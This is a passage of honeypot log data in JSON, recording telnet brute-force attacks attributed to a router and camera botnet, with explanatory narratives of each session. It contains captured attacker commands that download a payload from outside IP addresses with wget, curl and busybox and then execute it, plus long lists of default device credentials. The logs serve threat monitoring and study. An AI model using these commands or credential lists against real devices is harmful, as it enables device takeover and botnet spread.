"],[2.874,"start\n-bash: start: command not found\nroot@svr04:~# enable\n-bash: enable: command not found\nroot@svr04:~# config terminal\n-bash: config: command not found\nroot@svr04:~# system\n-bash: system: command not found\n"],[2.914,"root@svr04:~# linuxshell\n-bash: linuxshell: command not found\nroot@svr04:~# su\nroot@svr04:~# shell\n-bash: shell: command not found\nroot@svr04:~# sh\nroot@svr04:~# >/var/run/.x&&cd /var/r"],[2.955,"un;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x50\\x4e\\x58\\x59\\x43\\x4c'\n"],[3.632,"PNXYCL\nroot@svr04:/var# "],[8.867,"/bin/busybox wget;/bin/busybox echo -ne '\\x50\\x4e\\x58\\x59\\x43\\x4c'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nPNXYCLroot@svr04:/var# "],[9.248,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://182.127.80.6:50328/i ||curl -O http://182.127.80.6:5032"],[9.288,"8/i ||/bin/busybox wget http://182.127.80.6:50328/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x47\\x57\\x56\\x5a\\x4b\\x47\\x51\\x4c'\n"],[9.746,"--2026-10-20 17:02:44--  http://182.127.80.6:50328/i\nConnecting to 182.127.80.6:50328... connected.\nHTTP request sent, awaiting response... "],[17.707,"\n"],[27.81,"curl: (7) Failed to connect to 182.127.80.6 port 50328: Operation timed out\n--2026-10-20 17:03:02--  http://182.127.80.6:50328/i\nConnecting to 182.127.80.6:50328... connected.\nHTTP request sent, awaiting response... "],[29.171,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nGWVZKGQL\nroot@svr04:/var# "]],"truncated":false},"key":"e437abc18022","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"b26b96a1859a","t":"2026-10-22T03:02:33Z","first_t":"2026-10-21T03:03:33Z","repeats":19907,"merged":true,"ip":"175.149.73.133","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"admin","p":"v2mprt","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"vizxv","ok":false},{"u":"tech","p":"tech","ok":false},{"u":"telnetadmin","p":"telnetadmin","ok":false},{"u":"ubnt","p":"ubnt","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"Admin","p":"","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"admin","p":"1111","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"12345678","ok":false},{"u":"admin","p":"54321","ok":false},{"u":"admin","p":"admin1234","ok":false},{"u":"admin","p":"gpon","ok":false},{"u":"admin","p":"h@32LuyD","ok":false},{"u":"admin","p":"qwerty","ok":false},{"u":"cht","p":"chtsgpon","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"operator","p":"operator","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"070admin","ok":false},{"u":"root","p":"1234","ok":false},{"u":"root","p":"12341234","ok":false},{"u":"root","p":"7ujMko0admin","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"adminpass","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"dreambox","ok":false},{"u":"root","p":"e2008jl","ok":false},{"u":"root","p":"ikwb","ok":false},{"u":"root","p":"password","ok":false},{"u":"root","p":"user","ok":false},{"u":"root","p":"xc3511","ok":false},{"u":"super","p":"sp-admin","ok":false},{"u":"super","p":"super","ok":false},{"u":"supervisor","p":"supervisor","ok":false},{"u":"support","p":"support123","ok":false}],"attempt_n":[2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":19914,"distinct_creds":148,"distinct_users":42,"distinct_passwords":115,"got_shell":true,"shell_sessions":504,"commands":[">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x59\\x45\\x4a\\x4b\\x56\\x52'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[1,1,1,1,1,1,1,1,1],"commands_total":4795,"distinct_commands":14,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back once ('YEJKVR') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Probed for busybox, which is the shell it expects to find on an embedded device."],"tags":["shell-hunt","marker-echo","writable-hunt","busybox"],"replay":{"version":2,"duration_s":13.42,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nroot@svr04:~# "]],"truncated":false},"key":"96c966152d76","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"e76a2d07f91c","t":"2026-10-22T03:02:33Z","first_t":"2026-10-21T03:03:07Z","repeats":9432,"merged":true,"ip":"42.55.214.51","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"mother","p":"fucker","ok":false},{"u":"admin","p":"54321","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"draytek","p":"1234","ok":false},{"u":"root","p":"1234567890","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"support","p":"1234","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"1234","p":"1234","ok":false},{"u":"888888","p":"888888","ok":false},{"u":"admin","p":"12345678","ok":false},{"u":"admin","p":"BrAhMoS@15","ok":false},{"u":"admin","p":"CenturyL1nk","ok":false},{"u":"admin","p":"GeNeXiS@19","ok":false},{"u":"admin","p":"admin","ok":false},{"u":"admin","p":"adminHW","ok":false},{"u":"admin","p":"adminpass","ok":false},{"u":"admin","p":"aquario","ok":false},{"u":"admin","p":"chzhdpl","ok":false},{"u":"cht","p":"chtsgpon","ok":false},{"u":"default","p":"default","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"localadmin","p":"localadmin","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"00000000","ok":false},{"u":"root","p":"070admin","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"12345","ok":false},{"u":"root","p":"2011vesta","ok":false},{"u":"root","p":"25802580","ok":false},{"u":"root","p":"Admin","ok":false},{"u":"root","p":"adminpass","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"klv1234","ok":false},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"samsung","ok":false},{"u":"root","p":"zlxx","ok":false},{"u":"ruijie","p":"ruijie","ok":false},{"u":"super","p":"PhrQjGzk","ok":false},{"u":"super","p":"sp-admin","ok":false}],"attempt_n":[3,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":9433,"distinct_creds":148,"distinct_users":42,"distinct_passwords":115,"got_shell":true,"shell_sessions":262,"commands":[],"command_n":[],"commands_total":2497,"distinct_commands":12,"narrative":[],"tags":[],"replay":null,"key":"cc041d551b4a","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"ceb5bfb8bccd","t":"2026-10-22T03:02:28Z","first_t":"2026-10-21T03:03:07Z","repeats":20518,"merged":true,"ip":"42.231.241.161","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"root","p":"xc3511","ok":false},{"u":"666666","p":"666666","ok":false},{"u":"administrator","p":"administrator","ok":false},{"u":"draytek","p":"1234","ok":false},{"u":"root","p":"888888","ok":true},{"u":"root","p":"Pon521","ok":false},{"u":"root","p":"adminpass","ok":false},{"u":"root","p":"e2008jl","ok":false},{"u":"root","p":"pass","ok":false},{"u":"888888","p":"888888","ok":false},{"u":"admin","p":"1111111","ok":false},{"u":"admin","p":"12345","ok":false},{"u":"admin","p":"CTLSupport12","ok":false},{"u":"admin","p":"a1sev5y7c39k","ok":false},{"u":"admin","p":"bayandsl","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"ho4uku6at","ok":false},{"u":"admin","p":"smcadmin","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"cht","p":"chtngpon","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"ftp","p":"ftp","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"operator","p":"operator","ok":false},{"u":"root","p":"25802580","ok":false},{"u":"root","p":"666666","ok":false},{"u":"root","p":"Fireitup","ok":false},{"u":"root","p":"admin","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"samsung","ok":false},{"u":"root","p":"user","ok":false},{"u":"service","p":"service","ok":false},{"u":"support","p":"support123","ok":false},{"u":"tech","p":"tech","ok":false},{"u":"user","p":"","ok":false},{"u":"user","p":"1234","ok":false},{"u":"yhtcAdmin","p":"Cuc@YHfw","ok":false}],"attempt_n":[3,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":20522,"distinct_creds":148,"distinct_users":42,"distinct_passwords":115,"got_shell":true,"shell_sessions":499,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x46\\x56\\x4f\\x57\\x49\\x50'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x46\\x56\\x4f\\x57\\x49\\x50'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://192.168.1.1:8088/i ||curl -O http://192.168.1.1:8088/i ||/bin/busybox wget http://192.168.1.1:8088/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x46\\x46\\x42\\x48\\x57\\x53\\x4d\\x42'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[2,2,2,2,2,2,2,2,2,2,2],"commands_total":4825,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('FVOWIP', 'FFBHWSMB') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 192.168.1[.]1 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":3.87,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nadmin@svr04:~$ "],[0.238,"start\n-bash: start: command not found\nadmin@svr04:~$ enable\n-bash: enable: command not found\nadmin@svr04:~$ config terminal\n"],[0.283,"-bash: config: command not found\nadmin@svr04:~$ system\n-bash: system: command not found\nadmin@svr04:~$ linuxshell\n-bash: linuxshell: command not found\nadmin@svr04:~$ su\nPassword: \n\nroot@svr04:/home# sh\n"],[0.33,"root@svr04:/home# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x46\\x56\\x4f\\x57\\x49\\x50'\n"],[1.015,"FVOWIP\nroot@svr04:/var# "],[1.558,"/bin/busybox wget;/bin/busybox echo -ne '\\x46\\x56\\x4f\\x57\\x49\\x50'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nFVOWIProot@svr04:/var# "],[1.832,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://192.168.1.1:8088/i ||curl -O http://192.168.1.1:8088/i ||/bin/busybox wget http://192.168.1.1:8088/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x46\\x46\\x42\\x48\\x57\\x53\\x4d\\x42'\n"],[2.086,"--2026-10-10 04:08:12--  http://192.168.1.1:8088/i\nResolving 192.168.1.1 (192.168.1.1)... failed: Temporary failure in name resolution.\nwget: unable to resolve host address ‘192.168.1.1’\ncurl: (6) Could not resolve host: 192.168.1.1\n--2026-10-10 04:08:12--  http://192.168.1.1:8088/i\nResolving 192.168.1.1 (192.168.1.1)... failed: Temporary failure in name resolution.\nwget: unable to resolve host address ‘192.168.1.1’\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nFFBHWSMB\nroot@svr04:/var# "]],"truncated":false},"key":"fe3ab1fb8d49","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"6e94b086f404","t":"2026-10-22T03:02:28Z","first_t":"2026-10-21T03:25:57Z","repeats":2951,"merged":true,"ip":"27.215.44.220","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"admin","p":"1111","ok":false},{"u":"admin","p":"888888","ok":false},{"u":"admin","p":"cat1029","ok":false},{"u":"admin","p":"qwerty","ok":false},{"u":"root","p":"12341234","ok":false},{"u":"root","p":"1234567890","ok":false},{"u":"root","p":"samsung","ok":false},{"u":"tech","p":"tech","ok":false},{"u":"1234","p":"1234","ok":false},{"u":"Manager","p":"friend","ok":false},{"u":"admin","p":"","ok":false},{"u":"admin","p":"CTLSupport12","ok":false},{"u":"admin","p":"adminpass","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"smcadmin","ok":false},{"u":"admin","p":"ttcn@77CN","ok":false},{"u":"admin","p":"v2mprt","ok":false},{"u":"administrator","p":"administrator","ok":false},{"u":"cuadmin","p":"cuadmin","ok":false},{"u":"cunmgadmin","p":"cunmgadmin","ok":false},{"u":"e8ehome","p":"e8ehome","ok":false},{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"gdcuadmin","p":"gdcuadmin","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"localadmin","p":"localadmin","ok":false},{"u":"nmgcuadmin","p":"nmgcuadmin","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"12345678","ok":false},{"u":"root","p":"7ujMko0admin","ok":false},{"u":"root","p":"7ujMko0vizxv","ok":false},{"u":"root","p":"ikwb","ok":false},{"u":"root","p":"klv123","ok":true},{"u":"root","p":"realtek","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"svgodie","ok":false},{"u":"root","p":"vertex25ektks123","ok":false},{"u":"root","p":"zyad1234","ok":false},{"u":"service","p":"service","ok":false},{"u":"super","p":"xJ4pCYeW","ok":false}],"attempt_n":[2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":2951,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":78,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x42\\x48\\x43\\x4c\\x44\\x47'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x42\\x48\\x43\\x4c\\x44\\x47'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://90.224.208.190:36646/i ||curl -O http://90.224.208.190:36646/i ||/bin/busybox wget http://90.224.208.190:36646/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x44\\x49\\x50\\x46\\x4e\\x4f\\x4f\\x45'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[2,2,2,2,2,2,2,2,2,2,2],"commands_total":760,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('BHCLDG', 'DIPFNOOE') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 90.224.208[.]190 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":null,"key":"78491b2b1d6f","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"9d90501ff01f","t":"2026-10-22T03:02:28Z","first_t":"2026-10-21T03:03:12Z","repeats":20746,"merged":true,"ip":"222.134.170.14","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"admin","p":"7ujMko0admin","ok":false},{"u":"admin","p":"ho4uku6at","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"klv123","ok":false},{"u":"root","p":"svgodie","ok":false},{"u":"user","p":"user","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"8ehomeasb","p":"8ehomeasb","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"CUAdmin","p":"CUAdmin","ok":false},{"u":"admin","p":"1111111","ok":false},{"u":"admin","p":"123456789","ok":false},{"u":"admin","p":"1234567890","ok":false},{"u":"admin","p":"888888","ok":false},{"u":"admin","p":"88888888","ok":false},{"u":"admin","p":"GeNeXiS@19","ok":false},{"u":"admin","p":"admin1234","ok":false},{"u":"admin","p":"gpon@Vnt00","ok":false},{"u":"administrator","p":"administrator","ok":false},{"u":"cuadmin","p":"cuadmin","ok":false},{"u":"draytek","p":"1234","ok":false},{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"gpon","p":"gpon","ok":false},{"u":"guest","p":"12345","ok":true},{"u":"nmgcuadmin","p":"nmgcuadmin","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"00000000","ok":false},{"u":"root","p":"070admin","ok":false},{"u":"root","p":"1234","ok":false},{"u":"root","p":"1234567890","ok":false},{"u":"root","p":"Fireitup","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"root","p":"Zte521","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"klv1234","ok":false},{"u":"root","p":"zlxx","ok":false}],"attempt_n":[2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":20748,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":521,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x49\\x4f\\x48\\x49\\x44\\x4b'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x49\\x4f\\x48\\x49\\x44\\x4b'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://192.168.1.1:8088/i ||curl -O http://192.168.1.1:8088/i ||/bin/busybox wget http://192.168.1.1:8088/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x54\\x49\\x4d\\x56\\x42\\x4d\\x47\\x41'","config terminal","enable","linuxshell","sh","start","su","system"],"command_n":[1,1,1,1,1,1,1,1,1,1],"commands_total":5007,"distinct_commands":12,"narrative":["Asked for a shell 7 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('IOHIDK', 'TIMVBMGA') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 192.168.1[.]1 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":null,"key":"8c1ceb6797e3","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"b35207feb06a","t":"2026-10-22T03:02:24Z","first_t":"2026-10-21T21:00:09Z","repeats":1346,"merged":true,"ip":"94.243.12.254","cc":"RU","proto":"telnet","duration_s":null,"attempts":[{"u":"admin","p":"888888","ok":false},{"u":"root","p":"123456","ok":false},{"u":"admin","p":"password","ok":false},{"u":"root","p":"","ok":false},{"u":"666666","p":"666666","ok":false},{"u":"admin","p":"","ok":false},{"u":"admin","p":"1111111","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"admin1234","ok":false},{"u":"admin","p":"adminpass","ok":false},{"u":"admin","p":"chzhdpl","ok":false},{"u":"admin","p":"gpon","ok":false},{"u":"admin","p":"h@32LuyD","ok":false},{"u":"admin","p":"plumeria0077","ok":false},{"u":"admin","p":"vnpt","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"administrator","p":"administrator","ok":false},{"u":"cht","p":"chtngpon","ok":false},{"u":"cuadmin","p":"cu@Hnunicom","ok":false},{"u":"cuadmin","p":"cuadmin","ok":false},{"u":"default","p":"default","ok":false},{"u":"e8ehome","p":"e8ehome","ok":false},{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"localadmin","p":"localadmin","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"netscreen","p":"netscreen","ok":false},{"u":"operator","p":"operator","ok":false},{"u":"root","p":"12341234","ok":false},{"u":"root","p":"12345","ok":false},{"u":"root","p":"2010vesta","ok":false},{"u":"root","p":"2011vesta","ok":false},{"u":"root","p":"666666","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"helpme","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"klv123","ok":false},{"u":"root","p":"samsung","ok":false},{"u":"service","p":"service","ok":false},{"u":"super","p":"xJ4pCYeW","ok":false}],"attempt_n":[3,3,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":1346,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":27,"commands":[],"command_n":[],"commands_total":233,"distinct_commands":11,"narrative":[],"tags":[],"replay":null,"key":"4de1dbbe3fba","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"c43fe68d8eb8","t":"2026-10-22T03:02:24Z","first_t":"2026-10-21T03:03:07Z","repeats":5153,"merged":true,"ip":"178.141.244.223","cc":"RU","proto":"telnet","duration_s":null,"attempts":[{"u":"supervisor","p":"supervisor","ok":false},{"u":"CMCCAdmin","p":"CMCCAdmin","ok":false},{"u":"admin","p":"vnpt","ok":false},{"u":"cht","p":"chtngpon","ok":false},{"u":"default","p":"default","ok":false},{"u":"netscreen","p":"netscreen","ok":false},{"u":"root","p":"dreambox","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"root","p":"realtek","ok":false},{"u":"Administrator","p":"admin","ok":false},{"u":"admin","p":"1111","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"123456789","ok":false},{"u":"admin","p":"CTLSupport12","ok":false},{"u":"admin","p":"admin","ok":false},{"u":"admin","p":"cat1029","ok":false},{"u":"admin","p":"ho4uku6at","ok":false},{"u":"admin","p":"ttcn@77CN","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"administrator","p":"1234","ok":false},{"u":"administrator","p":"administrator","ok":false},{"u":"cht","p":"chtsgpon","ok":false},{"u":"gpon","p":"gpon","ok":false},{"u":"localadmin","p":"localadmin","ok":false},{"u":"nmgcuadmin","p":"nmgcuadmin","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"1234horses","ok":false},{"u":"root","p":"54321","ok":false},{"u":"root","p":"7ujMko0vizxv","ok":false},{"u":"root","p":"Admin","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"ikwb","ok":false},{"u":"root","p":"klv123","ok":false},{"u":"root","p":"xc3511","ok":false},{"u":"service","p":"service","ok":false},{"u":"ubnt","p":"ubnt","ok":false},{"u":"yhtcAdmin","p":"Cm1@YHfw","ok":false}],"attempt_n":[3,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":5154,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":124,"commands":[],"command_n":[],"commands_total":1248,"distinct_commands":13,"narrative":[],"tags":[],"replay":null,"key":"477686cdcca8","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"a93c7ffe287f","t":"2026-10-22T03:02:17Z","first_t":"2026-10-21T03:06:04Z","repeats":4165,"merged":true,"ip":"27.206.191.215","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"admin","p":"conexant","ok":false},{"u":"guest","p":"123456","ok":false},{"u":"operator","p":"operator","ok":false},{"u":"root","p":"12345","ok":false},{"u":"root","p":"TeleCom_1234","ok":false},{"u":"root","p":"default","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"password","ok":false},{"u":"1234","p":"1234","ok":false},{"u":"8ehomeasb","p":"8ehomeasb","ok":false},{"u":"Admin","p":"Admin","ok":false},{"u":"CMCCAdmin","p":"CMCCAdmin","ok":false},{"u":"admin","p":"1111","ok":false},{"u":"admin","p":"1111111","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"88888888","ok":false},{"u":"admin","p":"CTLSupport12","ok":false},{"u":"admin","p":"gpon","ok":false},{"u":"admin","p":"ho4uku6at","ok":false},{"u":"admin","p":"pass","ok":false},{"u":"admin","p":"qwerty","ok":false},{"u":"admin","p":"ttcn@77CN","ok":false},{"u":"admin","p":"vnpt","ok":false},{"u":"administrator","p":"administrator","ok":false},{"u":"gpon","p":"gpon","ok":false},{"u":"nmgcuadmin","p":"nmgcuadmin","ok":false},{"u":"root","p":"1234horses","ok":false},{"u":"root","p":"54321","ok":false},{"u":"root","p":"e2008jl","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"ifconfig","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"root","p":"jvbzd","ok":true},{"u":"root","p":"samsung","ok":false},{"u":"root","p":"system","ok":false},{"u":"root","p":"xmhdipc","ok":false},{"u":"super","p":"xJ4pCYeW","ok":false},{"u":"supervisor","p":"zyad1234","ok":false},{"u":"tech","p":"tech","ok":false}],"attempt_n":[2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]